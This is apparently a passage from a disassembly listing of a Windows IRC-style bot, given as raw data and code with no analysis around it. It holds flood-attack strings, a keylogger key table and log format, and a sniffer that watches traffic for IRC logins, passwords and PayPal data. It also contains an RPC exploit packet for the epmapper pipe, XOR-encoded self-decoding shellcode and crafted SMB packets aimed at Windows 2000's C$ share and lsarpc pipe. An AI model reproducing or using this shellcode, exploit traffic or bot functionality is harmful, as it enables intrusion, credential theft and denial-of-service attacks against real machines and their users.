aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset word_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset unk_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset dword_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------

loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA

loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------

loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A

loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
